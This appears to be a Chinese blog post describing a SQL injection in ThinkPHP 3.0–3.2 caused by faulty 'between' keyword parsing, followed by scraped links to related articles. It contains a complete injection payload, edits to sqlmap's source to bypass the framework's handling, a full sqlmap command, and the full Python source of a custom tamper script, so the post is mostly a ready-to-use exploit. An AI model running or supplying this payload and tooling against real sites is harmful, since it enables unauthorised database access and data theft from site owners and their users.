ThinkPHP 3.0~3.2 注入漏洞
地址:http://xx.com/index.php/Admin.php?s=/User/Public/check
payload:act=verify&username[0]=='1')) AND UPDATEXML(6026,CONCAT(0x2e0x7167656371,(SELECT (CASE WHEN (6026=6026) THEN 1 ELSE 0 END)),0x716e726771),8197)-- 1between&username[1]=CN000001&password=xxxxxxxxxxx&image.x=65&image.y=15&_hash_=e23b2ac1ecea61a34252c0c93d28a8b6_b9327556a986738edb45004015776680

漏洞文件:ThinkPHP\Library\Think\Db.class.php
漏洞原因:parseWhereItem函数对between关键字的正则匹配错误,导致了SQL注入。
问题:
1.TP对0x7167656371形式的数据都解释成是数据表的字段,因此对于sqlmap判断注入存在的关键字是无法利用的,需绕过。
2.在GET请求时,由于TP的路由模式对URL中的参数取得时,未做URL解码处理,因此提交的时候不能使用URL编码,且不允许出现空格,会导致路由失效出现404。
3.在sqlmap会对0x7167656371的字符串形式’qgecq‘做匹配,且大小写敏感,不然会造成无法识别注入点。
4.GET请求时在替换完payload时应该替换空白字符,但是POST时是不需要的。
意味着–skip-urlencode参数可以根据需要添加。
解决:
sqlmap的返回验证机制中有一个头关键字,可以观察所有的插入字符都是q开头的,且大小写敏感。因此需要修改这两处。
lib/core/settings.py,KB_CHARS_BOUNDARY_CHAR = 'q' => KB_CHARS_BOUNDARY_CHAR = 'L'


lib/core/common.py,return retVal => return retVal.upper()


执行命令:
sqlmap.py -u "http://xx.com/index.php/ThinkPHP0day?key[0]=&key[1]=a" -p key[0] --prefix "='-'" --suffix "%23between" --tamper thinkphp0day.py --technique=U --dbms=mysql --union-char "156427916544" --skip-urlencode --dbs
thinkphp0day.py源代码:
#!/usr/bin/env python
import os
import random
import re
import binascii
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ThinkPHP 3.0~3.3" % (os.path.basename(__file__).split(".")[0]))
def tamper(payload, **kwargs):
"""
Notes:
* Useful to ThinkPHP
Replace hex string
>>> tamper("0x7163646271")
==> 'qcdbq'
>>> tamper(" ")
==> '+'
"""
blanks = '/**/';
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace, end = False, False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += blanks
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True
elif payload[i] == " " and not doublequote and not quote:
if end:
retVal += blanks[:-1]
else:
retVal += blanks
continue
retVal += payload[i]
retValArray = retVal.split();
retTmpArray = []
p = re.compile(r'(0x\w+)')
def func(m):
tmp = m.group(1).replace('0x','')
tmp = tmp.replace('\\','\\\\')
return '\'%s\'' % binascii.a2b_hex(tmp)
for val in retValArray:
retTmpArray.append(p.sub(func,val).replace(' ',blanks))
return " ".join(retTmpArray)
ThinkPHP 3.0~3.2 注入漏洞的更多相关文章
- ThinkPHP 5.0.x SQL注入分析
前言 前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图.最近几天忙于找工作的事情,没来得及看.趁着中午赶紧搭起环境分析一波.Think PHP就不介绍了,搞PHP的都应该知道. 环境搭建 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- 【php】随缘php企业网站管理系统V2.0 shownews.php注入漏洞
程序名称:随缘网络php企业网站管理系统2.0免费版 以下为系统的功能简介: 1.采用div+css布局经测试兼容IE及firefox主流浏览器,其他浏览器暂未测试. 2.产品新闻三级无限分类. 3. ...
- Joomla!3.7.0 Core SQL注入漏洞动态调试草稿
参考joolma的mvc框架讲解:http://www.360doc.com/content/11/1219/18/1372409_173441270.shtml 从这个页面开始下断点:Joomla_ ...
- DT6.0关于SQL注入漏洞修复问题
阿里云安全平台提示:Destoon SQL注入,关于: Destoon的/mobile/guestbook.php中$do->add($post);这行代码对参数$post未进行正确转义,导致黑 ...
- joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞
影响版本: 3.7.0 poc http://192.168.49.2:8080/index.php?option=com_fields&view=fields&layout=moda ...
- ThinkPHP 5.0.15中的update注入漏洞
漏洞demo: public function inc() { $username = request()->get('name/a'); db('user')->insert(['nam ...
- ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...
- 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
随机推荐
- 让VC6.0编译出来的程序支持XP样式或XP风格
(1)VC6.0编译出来的win32程序不支持winxp样式的原因:微软WINXP系统更新了Comctl32.dll(ver 6.0)这个“XP风格”的控件.为了保留传统的Windows界面风格,特地 ...
- C++学习笔记之——内联函数,引用
本文为原创作品,转载请注明出处 欢迎关注我的博客:http://blog.csdn.net/hit2015spring和http://www.cnblogs.com/xujianqing/ 作者:晨凫 ...
- 常见的makefile写法【转】
转自:http://blog.csdn.net/ghostyu/article/details/7755177 版权声明:本文为博主原创文章,未经博主允许不得转载. .目标名称,摆脱手动设置目标名称 ...
- 使用go写一个检测tcpudp状态的包
使用go写一个检测tcpudp状态的包 http://www.2cto.com/os/201501/367596.html
- PHPstorm创建注释模版
/** * $NAME$ * @param * @return * @since $DATE$ * @author Name */$END$ /** * xxxx -- Controller – 类 ...
- java 反射赋空值
https://stackoverflow.com/questions/10087989/how-do-i-reflectively-invoke-a-method-with-null-as-argu ...
- AC日记——[Noi2011]阿狸的打字机 bzoj 2434
2434 思路: 构建ac自动机: 抽离fail树: 根据字符串建立主席树: 在线处理询问: 询问x在y中出现多少次,等同于y有多少字母的fail能走到x: 1a,hahahahah: 代码: #in ...
- NULL always return false
Any comparison with null is false - = and <>, >, <, and so on. You cannot use null in an ...
- 取消Gridvie中button的焦点
Gridview中添加button,onclick方法使得 GridView的setOnItemClickListener方法无效. 解决方法: 设置Button的XML布局文件,也就是自定义的Ada ...
- Plus One Linked List -- LeetCode
Given a non-negative number represented as a singly linked list of digits, plus one to the number. T ...